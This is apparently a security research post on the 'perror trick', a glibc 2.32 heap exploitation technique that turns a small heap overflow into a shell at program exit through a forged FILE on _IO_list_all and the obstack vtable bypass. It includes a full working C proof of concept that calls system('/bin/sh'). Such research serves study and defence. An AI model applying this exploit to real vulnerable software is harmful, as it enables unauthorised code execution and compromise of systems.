Perror Trick
This post describes a novel heap exploitation technique for gaining arbitrary
code execution via a 2-byte heap overflow, a perror call, and a controlled
exit. This technique as presented is known to work with glibc 2.32.
The novelty of this technique lies in using perror and its interaction with
malloc to add an attacker crafted FILE object to glibc’s global linked list
of open FILE streams.
Arbitrary code execution is obtained by preparing this crafted FILE to invoke
a shell using the obstack vtable bypass.
Prerequisites
This attack requires the ability to trigger a perror invocation followed by an
_IO_cleanup call (for example via exit) and makes use of a small heap buffer
overflow to corrupt the size of a chunk in the unsorted bin.
Additionally moderate control over heap allocations is required to coerce the heap into a state suitable for launching the attack.
Background
perror is a utility
function that is commonly used in error handling in C programs. It takes a
single string argument and outputs the string along with a human readable
description of the current errno value to the stderr file descriptor.
The interesting aspect of this behavior for the purposes of this article is that
when perror executes it attempts to allocate its own FILE structure using
the same underlying file descriptor used by stderr. After writing the error
message perror closes this temporary FILE stream.
| |
Creating a new FILE via fdopen results in the immediate malloc allocation
for the FILE structure.
| |
| |
| |
| |
A second allocation occurs when perror attempts to write to its newly
allocated FILE.
When a FILE is first allocated, its internal write and read buffers are
null-initialized. The buffers are lazily initialized in the process of buffering
output.
The actual allocation is performed by the _IO_file_doallocate method. The size
of the allocation is inferred from the block size of the underlying the device
with a default block size as a fall back.
| |
| |
After writing the error message perror closes the temporary FILE. The
interesting behavior here is that the FILE that is being closed is “unlinked”.
| |
| |
All of the FILE objects opened by glibc are added to a global _IO_list_all
linked list. The _IO_list_all global points to the most recently open file
with the FILE._chain field pointing to the next FILE in the list.
Unlinking a FILE removes it from this global linked list. This process
involves copying the _chain pointer from the closing FILE to the previous
FILE in the list.
In the perror case, this will typically directly write to _IO_list_all since
the temporary file was just created as part of the perror call and is likely
at the front of the list.
| |
This _IO_list_all list is used by _IO_cleanup at program termination to
flush all open files.
| |
| |
Flushing the open files involves iterating over _IO_list_all and potentially
invoking the overflow vtable entry via _IO_OVERFLOW if there is pending data
in the file’s write buffer.
| |
In summary, calling perror performs the following interesting actions:
- A new temporary
FILEis opened for writing, the memory for this object is allocated frommalloc. - A second large chunk is allocated from
mallocfor buffering output. - The temporary
FILEis closed, freeing the allocated buffers, and unlinking the file from_IO_list_all.
Later, normal program termination will result in glibc flushing all files in
_IO_list_all which may invoke the overflow vtable entry.
Attack
The strategy for leveraging this behavior into code execution is to utilize the
malloc operations performed by perror to corrupt the chain pointer of the
temporary FILE and rely on the closing of that file to place the corrupted
chain pointer value into _IO_list_all.
This can be done with the following steps:
- Build a fake
FILEon the heap composed of two neighboring chunks one sized0x20and the other large enough to hold the remainder of theFILE. - Perform an overlapping bin attack on an unsorted chunk so that it:
- Matches the size exactly of the initial
perrorallocation for theFILEobject. - Overlaps with a small bin chunk positioned such that the small bin chunk’s
back pointer coincides with the chain pointer of the
FILEobject allocated byperror.
- Matches the size exactly of the initial
- Free the
0x20chunk from step 1. to the fast bin. - Trigger a
perrorcall.
This will cause perror to use the altered unsorted chunk for its FILE. The
second allocation for the write buffer will then sort the fast bin chunk into
the small bin thus updating the small chunk’s back pointer to point to the fake
FILE.
When perror closes its temporary FILE the global _IO_list_all will be
updated to point to the fake FILE.
Building A Fake FILE
A fake FILE that executes a shell can be created using the obstack vtable
bypass and is relatively
straightforward. Differences from the approach described in the linked post are
highlighed below.
The FILE is created from two separate but neighboring chunks. The first chunk
must be small enough that it is placed in a fast bin when freed while the second
chunk must be large enough to contain the remainder of the FILE object (at
least 0xd0 for 64-bit glibc).
uintptr_t *fake_file_start = (uintptr_t *) malloc(0x10);
uintptr_t *fake_file_body = (uintptr_t *) malloc(0xd0);This results in the following chunks being created in memory. Sizes are given in
total chunk size which includes malloc meta-data overhead.
The vtable for the file is set to the _IO_obstack_jumps offset by 4 entries.
fake_file_body[21] = _IO_obstack_jumps + 0x20;This is done so that the _IO_obstack_xsputn method is in the place of the
overflow entry in the jump table.
| |
This attack relies on _IO_cleanup which eventually invokes the vtable’s
overflow method. While both _IO_obstack_overflow and _IO_obstack_xsputn
attempt to grow the associated obstack, _IO_obstack_overflow contains an
assert that is triggered when invoked by _IO_cleanup which makes it
unsuitable for use in this attack.
| |
Preparing the Heap
After a fake FILE is built the next step is to prepare the heap for the
overlapping bin attack.
The goal of this step to end up with a memory arrangement like the one below where the attacker controls a chunk that can be overflown, followed by a unsorted victim, some padding, a small bin chunk, and some more padding.
The combined size of the victim chunk and first padding need to be 0x60 bytes
to properly align the back pointer of the small bin chunk with the chain pointer
of the eventual perror FILE.
Additionally, the second padding chunk needs to be under attacker control and large enough such that it contains the new previous size field after the victim chunk’s size is altered in the overlapping bin attack.
One method of achieving this layout is to prepare a large free chunk bordered by an allocated fence, and then repeatedly allocate smaller chunks from the free chunk:
// Step 1.
uintptr_t *hole = (uintptr_t *) malloc(0x500);
uintptr_t *fence = (uintptr_t *) malloc(0x500);
free(hole);
// Step 2.
uintptr_t *overflow_hole = (uintptr_t *) malloc(0x4b0);
uintptr_t *padding = (uintptr_t *) malloc(0x20);
free(overflow_hole);
// Step 3.
uintptr_t *overflow = (uintptr_t *) malloc(0x480);Overlapping Bin Attack
Next a vulnerability is exploited whereby a heap overflow occurs allowing the attacker to alter the size of the victim chunk in the unsorted bin.
The size of the chunk is altered to match the exact size requested by perror
for the FILE allocation. On 64-bit glibc 2.27 through 2.32 this size is
0x230. The low bit is set to 1 to indicate that the previous chunk is in
use.
overflow[(0x480 / sizeof(uintptr_t)) + 1] = 0x231;When performing this attack on glibc 2.29 and later there are validations on
unsorted chunks that must be satisfied in order to make malloc accept the
corrupted chunk.
The following checks were introduced in glibc 2.29. The highlighted lines mark the ones that require additional work to satisfy.
| |
This can be done by arranging for the end of the new unsorted bin chunk to land in an attacker controlled chunk that contains fake chunk meta-data.
fence[0x1a0 / sizeof(uintptr_t)] = 0x230; /* prev_size */
fence[0x1a0 / sizeof(uintptr_t) + 1] = 0x20; /* size | prev not inuse */
fence[0x1a0 / sizeof(uintptr_t) + 5] = 0x21; /* size | prev in use */Perror Trigger
After performing the overlapping chunk attack the final steps are to free the
0x20 chunk that contains the start of the fake FILE to the fast bin and
trigger a perror invocation.
The initial call to perror is for an 0x230 sized chunk. Since this is a
small bin sized request, malloc will attempt to service it from the unsorted
bin after checking the small bin. In this case the previously prepared chunk
will be an exact match and malloc will return it directly.
When peror writes the error message to its temporary FILE, it will allocate
a large buffer for writing. Since this is a large buffer malloc will evict all
fast bin chunks prior to searching the unsorted bin.
This will cause the chunk containing the fake FILE to be sorted into the same
small bin as the chunk that overlaps with the perror FILE. This will corrupt
the chain pointer of the perror FILE with the address of the fake FILE.
Finally, the perror call will close its temporary FILE which will place the
fake FILE in the _IO_list_all global.
All that is left at this point to trigger code execution is to cause the program
to exit cleanly. For example by returning from main or an exit call.
Example
// An example of performing the perror trick to leverage a small heap overflow
// into code execution. This demonstration relies on a heap and libc leak.
//
// Run with:
// $ gcc -o example example.c && ./example
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void fill_tcache(size_t size) {
void* chunks[7] = {};
for (int i = 0; i < 7; i++) {
chunks[i] = malloc(size);
}
for (int i = 0; i < 7; i++) {
free(chunks[i]);
}
}
int main(int argc, char **argv) {
// Place a shell command in a known region of memory.
char *shell_command = (char *) malloc(0x10);
strcpy(shell_command, "/bin/sh");
// Construct a fake obstack struct where the chunkfun allocator function
// points to system and the extra_arg field points to the location of the
// shell command to execute.
uintptr_t *fake_obstack = (uintptr_t *) malloc(0x100);
fake_obstack[3] = 1; /* next_free */
fake_obstack[4] = 0; /* chunk_limit */
fake_obstack[7] = (uintptr_t) &system; /* chunkfun */
fake_obstack[9] = (uintptr_t) shell_command; /* extra_arg */
fake_obstack[10] = -1; /* use_extra_arg */
// Prepare the fake FILE.
//
// There are two chunks that are used in constructing the fake FILE. The first
// is a small 0x20 chunk the second is a larger chunk that contains the bulk
// of the FILE.
uintptr_t *fake_file_start = (uintptr_t *) malloc(0);
uintptr_t *fake_file = (uintptr_t *) malloc(0x500);
// Construct a fake FILE object with a vtable pointing to the
// _IO_obstack_jumps vtable and the obstack field pointing to the fake obstack
// above.
//
// Setup the fake FILE to pass validation required to call _IO_OVERFLOW which
// is invoked by _IO_cleanup. This requires a valid lock pointer pointing to
// null, a small value for the write_end field, and an obstack refrence.
fake_file[1] = 0; /* write_end */
fake_file[11] = (uintptr_t) (fake_file + 8); /* lock */
fake_file[22] = (uintptr_t) fake_obstack; /* obstack */
// Setup the vtable to trigger _IO_obstack_xsputn when the overflow vtable
// method is invoked.
uintptr_t _IO_file_jumps = ((uintptr_t *) stdin)[27];
uintptr_t _IO_obstack_jumps = _IO_file_jumps - 0x240;
fake_file[21] = _IO_obstack_jumps + 0x20;
// Fill the 0x20 tcache. This will allow the fake_file_start to be freed to
// the fast bin later.
fill_tcache(0);
// Create a large hole that will house:
//
// - A large chunk that will be split to create an unsorted chunk for
// overflowing.
// - A 0x20 small bin chunk that will be used to corrupt perror's FILE's
// chain pointer.
uintptr_t *hole = (uintptr_t *) malloc(0x500);
uintptr_t *fence = (uintptr_t *) malloc(0x500);
free(hole);
// Split the hole into three allocations:
//
// - Another hole that will be used to create the unsorted chunk for
// overflowing.
// - An 0x30 sized chunk that prevents consolidation and acts as padding to
// align the next chunk with the FILE object's chain pointer.
// - An 0x20 remainder chunk from the 0x30 allocation that will be placed
// into the unsorted bin now and eventually sorted into the small bin.
void *overflow_hole = malloc(0x500 - 0x30 - 0x20);
malloc(0x20);
free(overflow_hole);
// Allocate a victim chunk that will be the subject of an overflow
// vulnerability. This will sort the 0x20 chunk created above into the small
// bin and it will split the overflow hole created above into a remainder
// chunk that is placed on the unsorted bin.
//
// The overflow hole and the victim chunk's size are arranged such that the
// remainder chunk when interpreted as a FILE structure has a chain pointer
// field that aligns with the back pointer of the 0x20 small bin chunk.
uintptr_t *overflow = (uintptr_t *) malloc(0x480);
// A VULNERABILITY is simulated here: the overflow chunk overflows into the
// size of the neighboring chunk in the unsorted bin.
//
// The size is changed to 0x230 which exactly matches the size of the initial
// perror allocation. The previous in use bit is set to maintain consistency
// with overflow's in use status.
overflow[(0x480 / sizeof(uintptr_t)) + 1] = 0x231;
// The unsorted chunk that just had its sized altered will now overlap with
// the fence chunk. Create some fake chunks within the fence chunk in order to
// satisfy malloc's validations on unsorted chunks.
fence[0x1a0 / sizeof(uintptr_t)] = 0x230; /* prev_size */
fence[0x1a0 / sizeof(uintptr_t) + 1] = 0x20; /* size | prev not inuse */
fence[0x1a0 / sizeof(uintptr_t) + 5] = 0x21; /* size | prev in use */
// Free the chunk corresponding to the fake FILE to the fast bin. The initial
// malloc performed by perror will not touch this chunk since there is an
// exact match already in the unsorted bin.
//
// However, the second allocation is a large allocation which will kill the
// fast bins before sorting the unsorted bin. As a result this chunk will be
// added to the 0x20 small bin which will update the back pointer of the small
// bin chunk (and the FILE chunk's chain pointer).
free(fake_file_start);
// A call to perror will allocate a FILE, write to it, and close it. This will
// write our fake FILE to _IO_list_all. Normal program termination, either by
// returning from main or calling exit will result in _IO_cleanup being called
// which will trigger the fake FILE.
perror("hello world");
}